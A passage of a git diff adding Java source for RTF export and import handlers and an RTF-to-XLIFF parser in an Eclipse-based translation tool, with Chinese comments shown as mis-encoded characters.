(CommonFunction.getSystemLanguage().equalsIgnoreCase("en")) { + path = RTFConstants.RTF_MODEL_WITH_STATUS_EN; + defaultUrl = buddle.getEntry(RTFConstants.RTF_MODEL_WITH_STATUS_EN_RELATIVE_PATH); + } + } else if (isExportComment) { + path = RTFConstants.RTF_MODEL_WITH_COMMENTS; + defaultUrl = buddle.getEntry(RTFConstants.RTF_MODEL_WITH_COMMENTS_RELATIVE_PATH); + } + } + + String rtfSource = FileLocator.toFileURL(defaultUrl).getPath(); + rtfTemplate.run(rtfSource); + + // é‡å‘½å生æˆçš„文件 + String rtfOutput = saveRtfDirectory + fileSeparator + + path.substring(path.lastIndexOf(fileSeparator) + fileSeparator.length()) + "." + + rtfTemplate.getRtfTemplateImpl() + ".out.rtf"; + new File(rtfOutput).renameTo(file); + return true; + } catch (Exception e) { + e.printStackTrace(); + LOGGER.error(Messages.getString("exporter.XLIFF2RTFUtil.logger"), e); + MessageDialog.openInformation(Display.getCurrent().getActiveShell(), + Messages.getString("exporter.XLIFF2RTFUtil.msg.title"), + Messages.getString("exporter.XLIFF2RTFUtil.msg")); + return false; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/handler/ExportRTFHandler.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/handler/ExportRTFHandler.java new file mode 100644 index 0000000..3d8b577 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/handler/ExportRTFHandler.java @@ -0,0 +1,106 @@ +package net.heartsome.cat.ts.ui.rtf.handler; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.rtf.dialog.ExportRTFDilaog; +import net.heartsome.cat.ts.ui.rtf.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchPart; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.LoggerFactory; + +/** + * 导出 RTF 文件的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class ExportRTFHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(ExportRTFHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + Shell shell = HandlerUtil.getActiveShell(event); + String partId = HandlerUtil.getActivePartId(event); + IFile file = null; + if (partId.equals("net.heartsome.cat.common.ui.navigator.view")) { + // å¯¼èˆªè§†å›¾å¤„äºŽæ¿€æ´»çŠ¶æ€ + IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + IViewPart viewPart = page.findView("net.heartsome.cat.common.ui.navigator.view"); + StructuredSelection selection = (StructuredSelection) viewPart.getSite().getSelectionProvider() + .getSelection(); + // ISelection selection = HandlerUtil.getCurrentSelection(event); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + List lstObj = ((IStructuredSelection) selection).toList(); + ArrayList lstXliff = new ArrayList(); + for (Object obj : lstObj) { + if (obj instanceof IFile) { + IFile tempFile = (IFile) obj; + // Linux 下的文本文件无扩展å,因此è¦å…ˆåˆ¤æ–­æ‰©å±•å是å¦ä¸ºç©º + if (tempFile.getFileExtension() != null && CommonFunction.validXlfExtension(tempFile.getFileExtension())) { + lstXliff.add(tempFile); + } + } + } + if (lstXliff.size() > 1) { + MessageDialog.openInformation(shell, Messages.getString("handler.ExportRTFHandler.msg.title"), + Messages.getString("handler.ExportRTFHandler.msg1")); + return null; + } + if (lstXliff.size() == 1) { + file = lstXliff.get(0); + } + } + } else if (partId.equals("net.heartsome.cat.ts.ui.xliffeditor.nattable.editor")) { + // nattable å¤„äºŽæ¿€æ´»çŠ¶æ€ + IWorkbenchPart part = HandlerUtil.getActivePartChecked(event); + IEditorInput editorInput = ((IEditorPart) part).getEditorInput(); + IFile iFile = (IFile) editorInput.getAdapter(IFile.class); + IEditorPart editor = HandlerUtil.getActiveEditor(event); + IXliffEditor xliffEditor = (IXliffEditor) editor; + + if (xliffEditor.isMultiFile()) { + MessageDialog.openInformation(shell, Messages.getString("handler.ExportRTFHandler.msg.title"), + Messages.getString("handler.ExportRTFHandler.msg2")); + return null; + } else if (iFile.getFileExtension() != null && CommonFunction.validXlfExtension(iFile.getFileExtension())) { + file = iFile; + } + } + + if (file != null) { + XLFValidator.resetFlag(); + if (!XLFValidator.validateXliffFile(file)) { + return null; + } + XLFValidator.resetFlag(); + } + + ExportRTFDilaog dialog = new ExportRTFDilaog(shell, file == null ? "" : file.getFullPath().toOSString(), + file == null ? "" : ResourceUtils.iFileToOSPath(file)); + dialog.open(); + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/handler/ImportRTFHandler.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/handler/ImportRTFHandler.java new file mode 100644 index 0000000..920806a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/handler/ImportRTFHandler.java @@ -0,0 +1,108 @@ +package net.heartsome.cat.ts.ui.rtf.handler; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.rtf.dialog.ImportRTFDialog; +import net.heartsome.cat.ts.ui.rtf.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.ui.IEditorInput; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchPart; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.LoggerFactory; + +/** + * 导入 RTF 文件的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class ImportRTFHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(ImportRTFHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + XLIFFEditorImplWithNatTable xliffEditor = null; + Shell shell = HandlerUtil.getActiveShell(event); + String partId = HandlerUtil.getActivePartId(event); + IFile file = null; + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof XLIFFEditorImplWithNatTable) { + xliffEditor = (XLIFFEditorImplWithNatTable) editor; + } + if (partId.equals("net.heartsome.cat.common.ui.navigator.view")) { + // å¯¼èˆªè§†å›¾å¤„äºŽæ¿€æ´»çŠ¶æ€ + IWorkbenchPage page = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + IViewPart viewPart = page.findView("net.heartsome.cat.common.ui.navigator.view"); + StructuredSelection selection = (StructuredSelection) viewPart.getSite().getSelectionProvider() + .getSelection(); + // ISelection selection = HandlerUtil.getCurrentSelection(event); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + List lstObj = ((IStructuredSelection) selection).toList(); + ArrayList lstXliff = new ArrayList(); + for (Object obj : lstObj) { + if (obj instanceof IFile) { + IFile tempFile = (IFile) obj; + // Linux 下的文本文件无扩展å,因此è¦å…ˆåˆ¤æ–­æ‰©å±•å是å¦ä¸ºç©º + if (tempFile.getFileExtension() != null && CommonFunction.validXlfExtension(tempFile.getFileExtension())) { + lstXliff.add(tempFile); + } + } + } + if (lstXliff.size() > 1) { + MessageDialog.openInformation(shell, Messages.getString("handler.ImportRTFHandler.msg.title"), + Messages.getString("handler.ImportRTFHandler.msg1")); + return null; + } + if (lstXliff.size() == 1) { + file = lstXliff.get(0); + } + } + } else if (partId.equals("net.heartsome.cat.ts.ui.xliffeditor.nattable.editor")) { + // nattable å¤„äºŽæ¿€æ´»çŠ¶æ€ + IWorkbenchPart part = HandlerUtil.getActivePartChecked(event); + IEditorInput editorInput = ((IEditorPart) part).getEditorInput(); + IFile iFile = (IFile) editorInput.getAdapter(IFile.class); + + if (xliffEditor.isMultiFile()) { + MessageDialog.openInformation(shell, Messages.getString("handler.ImportRTFHandler.msg.title"), + Messages.getString("handler.ImportRTFHandler.msg2")); + return null; + } else if (iFile.getFileExtension() != null && CommonFunction.validXlfExtension(iFile.getFileExtension())) { + file = iFile; + } + } + if (file != null) { + XLFValidator.resetFlag(); + if (!XLFValidator.validateXliffFile(file)) { + return null; + } + XLFValidator.resetFlag(); + } + ImportRTFDialog dialog = new ImportRTFDialog(shell, xliffEditor, file == null ? "" : file.getFullPath().toOSString(), + file == null ? "" : ResourceUtils.iFileToOSPath(file)); + dialog.open(); + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/importer/ImportRTFToXLIFF.java b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/importer/ImportRTFToXLIFF.java new file mode 100644 index 0000000..f2e25a2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/src/net/heartsome/cat/ts/ui/rtf/importer/ImportRTFToXLIFF.java @@ -0,0 +1,2952 @@ +package net.heartsome.cat.ts.ui.rtf.importer; + +import java.io.BufferedOutputStream; +import java.io.ByteArrayInputStream; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.UnsupportedEncodingException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashSet; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.Stack; +import java.util.StringTokenizer; +import java.util.Vector; +import java.util.regex.Pattern; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants; +import net.heartsome.cat.ts.ui.rtf.Progress; +import net.heartsome.cat.ts.ui.rtf.RTFConstants; +import net.heartsome.cat.ts.ui.rtf.Rtf; +import net.heartsome.cat.ts.ui.rtf.innertag.InnerTagUtil; +import net.heartsome.cat.ts.ui.rtf.innertag.SegmentComparator; +import net.heartsome.cat.ts.ui.rtf.innertag.SegmentText; +import net.heartsome.cat.ts.ui.rtf.resource.Messages; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.swt.widgets.Display; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.w3c.dom.Node; +import org.xml.sax.SAXException; + +import com.ximpleware.AutoPilot; +import com.ximpleware.ModifyException; +import com.ximpleware.NavException; +import com.ximpleware.TranscodeException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * 将表格形å¼çš„ RTF 文件转æ¢ä¸º XML + * @author peason + * @version + * @since JDK1.6 + */ +public class ImportRTFToXLIFF { + + /** 日志管ç†å™¨ **/ + private final static Logger LOGGER = LoggerFactory.getLogger(ImportRTFToXLIFF.class); + + private static final String CONVERTER_FOLDER_NAME = "net.heartsome.cat.converter"; + + /** XLIFFEditorImplWithNatTable 实例 */ + private XLIFFEditorImplWithNatTable xliffEditor; + + /** The input. */ + private FileInputStream input; + + /** xliff 文件路径 */ + private String xliffPath; + + /** The content. */ + private String content; + + /** The header. */ + private String header; + + /** The groups. */ + private Vector groups; + + /** The main text. */ + private String mainText; + + /** The styles. */ + private Vector styles; + + /** The default cpg. */ + private String defaultCpg; + + /** The default font. */ + private String defaultFont; + + /** The default lang. */ + private String defaultLang; + + /** The default uc. */ + private String defaultUC; + + /** The in loch. */ + private boolean inLOCH; + + /** The in hich. */ + private boolean inHICH; + + /** The in dbch. */ + private boolean inDBCH; + + /** The src encoding. */ + private String srcEncoding = "GBK"; + + /** The font table. */ + Hashtable fontTable; + + /** The charsets. */ + Hashtable charsets; + + /** The fonts. */ + private Vector fonts; + + /** The status. */ + Hashtable status; + + /** The stack. */ + Stack> stack; + + /** The ignore. */ + Hashtable ignore; + + /** The skip. */ + private int skip; + + /** The default af. */ + private String defaultAF; + + /** The default status. */ + private Hashtable defaultStatus; + + /** The tw4win term. */ + private boolean tw4winTerm = false; + + /** The tw4win mark. */ + private boolean tw4winMark = false; + + /** The tw4win error. */ + private boolean tw4winError = false; + + /** The tw4win popup. */ + private boolean tw4winPopup = false; + + /** The tw4win jump. */ + private boolean tw4winJump = false; + + /** The tw4win external. */ + private boolean tw4winExternal = false; + + /** The tw4win internal. */ + private boolean tw4winInternal = false; + + /** The do_not_translate. */ + private boolean do_not_translate = false; + + /** The win internal. */ + private String winInternal = ""; //$NON-NLS-1$ + + /** The color list. */ + private Vector colorList; + + /** The style fonts. */ + private Hashtable styleFonts; + + /** The tagged rtf. */ + private boolean taggedRTF = false; + + /** The breaks. */ + private Hashtable breaks; + + /** The segments. */ + private Vector segments; + + /** The meat. */ + private String meat; + + /** The in external. */ + private boolean inExternal; + + /** The symbols. */ + private Hashtable symbols; + + /** The ignorable fonts. */ + private Hashtable ignorableFonts; + + /** The default cf. */ + private String defaultCF = "1"; //$NON-NLS-1$ + + /** The cf table. */ + private Hashtable cfTable; + + /** The program foler. */ + private String programFoler; + + /** å•å…ƒæ ¼æ ‡è®°æ˜¯å¦å¼€å§‹ */ + private boolean blnCellStart = false; + + /** 列头å称 */ + private ArrayList lstHeader = new ArrayList(); + + /** æ¯è¡Œçš„文本 */ + private ArrayList lstPerRowValue = new ArrayList(); + + /** 是å¦æ˜¯æ¢è¡Œæ ‡è®° */ + private boolean isPar = false; + + /** The style group. */ + private int styleGroup; + + /** The font group. */ + private int fontGroup; + + /** The color group. */ + private int colorGroup; + + private boolean isUpdateXliffRow; + + public ImportRTFToXLIFF(XLIFFEditorImplWithNatTable xliffEditor) { + this.xliffEditor = xliffEditor; + } + + public void convert(String xliffPath, String rtfPath, IProgressMonitor monitor) { + this.xliffPath = xliffPath; + + try { + // 把转æ¢è¿‡ç¨‹åˆ†ä¸º 20 部分:parseMainText 方法之å‰çš„éƒ¨åˆ†å  11, parseMainText 方法中的处ç†å  + // 5,pase æ–¹æ³•å  2ï¼Œå‰©ä½™éƒ¨åˆ†å  2。 + monitor.setTaskName(Messages.getString(Messages.IMPORTRTFTOXLIFF_JOBTITLE_0)); + monitor.beginTask(Messages.getString(Messages.IMPORTRTFTOXLIFF_JOBTITLE_1), 20); + // å†æŠŠ parseMainText 之å‰çš„任务进一步进行细分,分为 4 + // 部分:读å–文件内容,构建文件的组内容,解æžç»„内容,处ç†ç»„内容。 + IProgressMonitor firstPartMonitor = Progress.getSubMonitor(monitor, 1); + firstPartMonitor.beginTask(Messages.getString(Messages.IMPORTRTFTOXLIFF_JOBTITLE_1), 2); + // programFoler = + // "/home/peason/workspace/R10Workspace/.metadata/.plugins/org.eclipse.pde.core/hs_ts.product/net.heartsome.cat.converter/"; + String configurationPath = Platform.getConfigurationLocation().getURL().getPath(); + programFoler = configurationPath + CONVERTER_FOLDER_NAME + System.getProperty("file.separator"); + + // 检查是å¦å–消æ“作 + if (firstPartMonitor.isCanceled()) { + throw new OperationCanceledException(); + } + firstPartMonitor.subTask(Messages.getString(Messages.IMPORTRTFTOXLIFF_JOBTITLE_2)); + input = new FileInputStream(rtfPath); + int size = input.available(); + byte[] array = new byte[size]; + input.read(array); + content = new String(array); + array = null; + input.close(); + + firstPartMonitor.worked(1); + + // get the header + StringBuffer buffer = new StringBuffer(); + buffer.append(content.charAt(0)); + int i = 1; + char c = 0; + while (i < size && (c = content.charAt(i++)) != '{') { + buffer.append(c); + } + header = buffer.toString(); + stack = new Stack>(); + processHeader(); + styles = new Vector(); + + // 检查是å¦å–消æ“作 + if (firstPartMonitor.isCanceled()) { + throw new OperationCanceledException(); + } + firstPartMonitor.subTask(Messages.getString(Messages.IMPORTRTFTOXLIFF_JOBTITLE_3)); + buildGroups(); + buildCharsets(); + loadSymbols(); + firstPartMonitor.worked(1); + firstPartMonitor.done(); + + mainText = ""; //$NON-NLS-1$ + Hashtable mainGroups = new Hashtable(); + + // firstPartMonitor.subTask("正在解æžç»„内容..."); + IProgressMonitor groupMonitor = Progress.getSubMonitor(monitor, 10); + groupMonitor.beginTask(Messages.getString(Messages.IMPORTRTFTOXLIFF_JOBTITLE_4), groups.size()); + for (i = 0; i < groups.size(); i++) { + // 检查是å¦å–消æ“作 + if (firstPartMonitor.isCanceled()) { + throw new OperationCanceledException(); + } + String group = groups.get(i); + if (group.indexOf("\\stylesheet") != -1) { //$NON-NLS-1$ + buildStyleList(group); + styleGroup = i; + if (taggedRTF) { + addStyles(); + } + parseStyles(); + } + if (group.indexOf("\\fonttbl") != -1) { //$NON-NLS-1$ + buildFontList(group); + fontGroup = i; + } + if (group.indexOf("\\colortbl") != -1) { //$NON-NLS-1$ + buildColorList(group); + colorGroup = i; + } + + if (group.indexOf("\\fonttbl") != -1 //$NON-NLS-1$ + || group.indexOf("\\filetbl") != -1 //$NON-NLS-1$ + || group.indexOf("\\colortbl") != -1 //$NON-NLS-1$ + || group.indexOf("\\stylesheet") != -1 //$NON-NLS-1$ + || group.indexOf("\\listtable") != -1 //$NON-NLS-1$ + || group.indexOf("\\revtable") != -1 //$NON-NLS-1$ + || group.indexOf("\\rsidtable") != -1 //$NON-NLS-1$ + || group.indexOf("\\generator") != -1 //$NON-NLS-1$ + || group.indexOf("\\info") != -1 //$NON-NLS-1$ + || group.indexOf("\\colorschememapping") != -1 //$NON-NLS-1$ + || group.indexOf("\\latentstyles") != -1 //$NON-NLS-1$ + || group.indexOf("\\pgptbl") != -1 //$NON-NLS-1$ + || group.indexOf("\\operator") != -1 //$NON-NLS-1$ + || group.indexOf("\\xmlnstbl") != -1 //$NON-NLS-1$ + || group.indexOf("\\fchars") != -1 //$NON-NLS-1$ + || group.indexOf("\\lchars") != -1 //$NON-NLS-1$ + || group.indexOf("\\pgptbl") != -1 //$NON-NLS-1$ + || group.indexOf("\\listtext") != -1 //$NON-NLS-1$ + || group.indexOf("\\wgrffmtfilter") != -1 //$NON-NLS-1$ + || group.indexOf("\\themedata") != -1 //$NON-NLS-1$ + || group.indexOf("\\datastore") != -1 //$NON-NLS-1$ + || group.indexOf("\\defchp") != -1 //$NON-NLS-1$ + || group.indexOf("\\defpap") != -1 //$NON-NLS-1$ + || group.indexOf("\\defshp") != -1 //$NON-NLS-1$ + || group.indexOf("\\shp") != -1 //$NON-NLS-1$ + || group.indexOf("\\pgdsctbl") != -1) { //$NON-NLS-1$ + + // should be ignored, unless it contains text + if (group.indexOf("\\par") != -1 //$NON-NLS-1$ + || group.indexOf("\\cell") != -1 //$NON-NLS-1$ + || group.indexOf("\\row") != -1 //$NON-NLS-1$ + || group.indexOf("\\nestcell") != -1 //$NON-NLS-1$ + || group.indexOf("\\dobypara") != -1) { //$NON-NLS-1$ + mainText = mainText + group; + mainGroups.put("" + i, ""); + } + } else { + mainText = mainText + group; + mainGroups.put("" + i, ""); + } + groupMonitor.worked(1); + } + groupMonitor.done(); + + fillIgnore(); + + firstPartMonitor.subTask(Messages.getString(Messages.IMPORTRTFTOXLIFF_JOBTITLE_5)); + for (int h = 0; h < groups.size() - 1; h++) { + // 是å¦å–消æ“作 + if (firstPartMonitor.isCanceled()) { + throw new OperationCanceledException(); + } + + if (mainGroups.containsKey("" + h)) { //$NON-NLS-1$ + continue; + } + if (h == fontGroup) { + writeSkl("{\\fonttbl \n"); //$NON-NLS-1$ + for (int k = 0; k < fonts.size(); k++) { + writeSkl(fonts.get(k) + "\n"); //$NON-NLS-1$ + } + writeSkl("}\n\n"); //$NON-NLS-1$ + continue; + } + if (h == colorGroup) { + writeSkl("{\\colortbl;"); //$NON-NLS-1$ + for (int k = 0; k < colorList.size(); k++) { + writeSkl(colorList.get(k) + ";"); //$NON-NLS-1$ + } + writeSkl("}\n\n"); //$NON-NLS-1$ + continue; + } + if (h == styleGroup) { + writeSkl("{\\stylesheet \n"); //$NON-NLS-1$ + for (int k = 0; k < styles.size(); k++) { + writeSkl(styles.get(k) + "\n"); //$NON-NLS-1$ + } + writeSkl("}\n\n"); //$NON-NLS-1$ + continue; + } + String group = groups.get(h); + writeSkl(group); + writeSkl("\n\n"); //$NON-NLS-1$ + } + + String mainText = parseMainText(Progress.getSubMonitor(monitor, 5)); + parse(mainText, Progress.getSubMonitor(monitor, 2)); + checkSegments(Progress.getSubMonitor(monitor, 2)); + + } catch (FileNotFoundException e) { + e.printStackTrace(); + LOGGER.error(Messages.getString("importer.ImportRTFToXLIFF.logger1"), e); + } catch (NavException e) { + LOGGER.error(Messages.getString("importer.ImportRTFToXLIFF.logger2"), e); + } catch (XPathParseException e) { + LOGGER.error(Messages.getString("importer.ImportRTFToXLIFF.logger2"), e); + } catch (XPathEvalException e) { + LOGGER.error(Messages.getString("importer.ImportRTFToXLIFF.logger2"), e); + } catch (IOException e) { + LOGGER.error(Messages.getString("importer.ImportRTFToXLIFF.logger2"), e); + } catch (SAXException e) { + LOGGER.error(Messages.getString("importer.ImportRTFToXLIFF.logger1"), e); + } catch (Exception e) { + LOGGER.error(Messages.getString("importer.ImportRTFToXLIFF.logger1"), e); + e.printStackTrace(); + } finally { + monitor.done(); + } + } + + private void writeSkl(String string) throws IOException { + string = replaceToken(string, "\uE008", "\\{"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "\uE007", "\\}"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "\uE011", "\\\\"); //$NON-NLS-1$ //$NON-NLS-2$ + string = replaceToken(string, "\u0009", "\\tab "); //$NON-NLS-1$ //$NON-NLS-2$ + string = restoreControls(string); + // skeleton.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + private String restoreControls(String value) { + value = replaceToken(value, "" + '\u2002', "\\enspace "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2003', "\\emspace "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2005', "\\qmspace "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2014', "\\emdash "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2013', "\\endash "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2018', "\\lquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2019', "\\rquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u201C', "\\ldblquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u201D', "\\rdblquote "); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u00A0', "\\~"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u2011', "\\_"); //$NON-NLS-1$ //$NON-NLS-2$ + value = replaceToken(value, "" + '\u00AD', "\\-"); //$NON-NLS-1$ //$NON-NLS-2$ + return value; + } + + /** + * Load symbols. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void loadSymbols() throws SAXException, IOException { + symbols = new Hashtable(); + SAXBuilder b = new SAXBuilder(); + Document d = b.build(programFoler + "ini/symbol.xml"); //$NON-NLS-1$ + Element r = d.getRootElement(); + List l = r.getChildren(); + Iterator i = l.iterator(); + while (i.hasNext()) { + Element e = i.next(); + symbols.put(new Integer(e.getAttributeValue("code")), e.getText()); //$NON-NLS-1$ + } + i = null; + l = null; + r = null; + d = null; + b = null; + } + + /** + * Parses the group. + * @param group + * the group + * @return the string + */ + private String parseGroup(String group, IProgressMonitor monitor) { + int size = group.length(); + // 如果 size 大于 10000,åˆ™æŠŠæ€»ä»»åŠ¡æ•°æŒ‰æ¯”ä¾‹ç¼©å° 100 å€ï¼›å¦‚æžœ size 大于 100000,åˆ™æŠŠæ€»ä»»åŠ¡æ•°æŒ‰æ¯”ä¾‹ç¼©å° 1000 + // å€ã€‚ + int scale = 1; + if (size > 100000) { + scale = 1000; + } else if (size > 10000) { + scale = 100; + } + int totalTask = size / scale; + monitor.beginTask(Messages.getString(Messages.IMPORTRTFTOXLIFF_JOBTITLE_6), totalTask); + Stack localStack = new Stack(); + String buff = ""; //$NON-NLS-1$ + int count = 0; + for (int i = 0; i < group.length(); i++) { + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + char c = group.charAt(i); + if (c == '{') { + localStack.push(buff); + buff = ""; //$NON-NLS-1$ + } + buff = buff + c; + if (c == '}') { + String clean = cleanGroup(buff); + buff = localStack.pop(); + if (buff.matches(".*\\\\[a-zA-Z]+") && clean.matches("[a-zA-z0-9].*")) { //$NON-NLS-1$ //$NON-NLS-2$ + buff = buff + " "; //$NON-NLS-1$ + } + if (buff.matches(".*\\\\[a-zA-Z]+[0-9]+") && clean.matches("[0-9].*")) { //$NON-NLS-1$ //$NON-NLS-2$ + buff = buff + " "; //$NON-NLS-1$ + } + buff = buff + clean; + } + count++; + int temp = count / scale; + count %= scale; + if (temp > 0) { + monitor.worked(temp); + } + } + monitor.done(); + return buff; + } + + /** + * Clean group. + * @param buff + * the buff + * @return the string + */ + private String cleanGroup(String buff) { + + if (buff.indexOf("\\ltrch") != -1 && buff.indexOf("\\rtlch") != -1) { //$NON-NLS-1$ //$NON-NLS-2$ + buff = removeControl(buff, "\\ltrch"); //$NON-NLS-1$ + buff = removeControl(buff, "\\rtlch"); //$NON-NLS-1$ + } + if (buff.indexOf("\\fcs0") != -1 && buff.indexOf("\\fcs1") != -1) { //$NON-NLS-1$ //$NON-NLS-2$ + buff = removeControl(buff, "\\fcs"); //$NON-NLS-1$ + } + + if (buff.matches("\\{(\\\\*)?\\\\.*\\}")) { //$NON-NLS-1$ + // contains text and controls + // braces should be preserved + return buff; + } + if (buff.matches("\\{.*\\}")) { //$NON-NLS-1$ + // contains text without control words + // braces should be removed + return buff.substring(1, buff.length() - 1); + } + return buff; + } + + /** + * Removes the control. + * @param string + * the string + * @param ctrl + * the ctrl + * @return the string + */ + private String removeControl(String string, String ctrl) { + int index = string.indexOf(ctrl); + while (index != -1) { + String left = string.substring(0, index); + if (left.endsWith("\\*")) { //$NON-NLS-1$ + left = left.substring(0, left.length() - 2); + } + String right = string.substring(index + ctrl.length()); + if (right.matches("^[0-9]+\\s[a-zA-Z0-9\\s].*")) { //$NON-NLS-1$ + right = right.replaceAll("^[0-9]+\\s", ""); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + right = right.replaceAll("^[0-9]+", ""); //$NON-NLS-1$ //$NON-NLS-2$ + } + if (left.matches(".*\\\\[a-zA-Z]+") && right.matches("^[a-zA-Z0-9\\s].*")) { //$NON-NLS-1$ //$NON-NLS-2$ + right = "" + right; //$NON-NLS-1$ + } else if (left.matches(".*\\\\[a-zA-Z]+[0-9]+") && right.matches("[0-9\\s].*")) { //$NON-NLS-1$ //$NON-NLS-2$ + right = "" + right; //$NON-NLS-1$ + } + string = left + right; + index = string.indexOf(ctrl); + } + return string; + } + + /** + * Parses the styles. + */ + private void parseStyles() { + styleFonts = new Hashtable(); + cfTable = new Hashtable(); + for (int i = 0; i < styles.size(); i++) { + String style = styles.get(i); + StringTokenizer tk = new StringTokenizer(style, "\\{} \t", true); //$NON-NLS-1$ + String control = ""; //$NON-NLS-1$ + String value = ""; //$NON-NLS-1$ + while (tk.hasMoreElements()) { + String token = tk.nextToken(); + if (token.length() == 1) { + continue; + } + String ctl = getControl("\\" + token); //$NON-NLS-1$ + if (ctl.equals("s") || // paragraph style //$NON-NLS-1$ + ctl.equals("cs") || // character style //$NON-NLS-1$ + 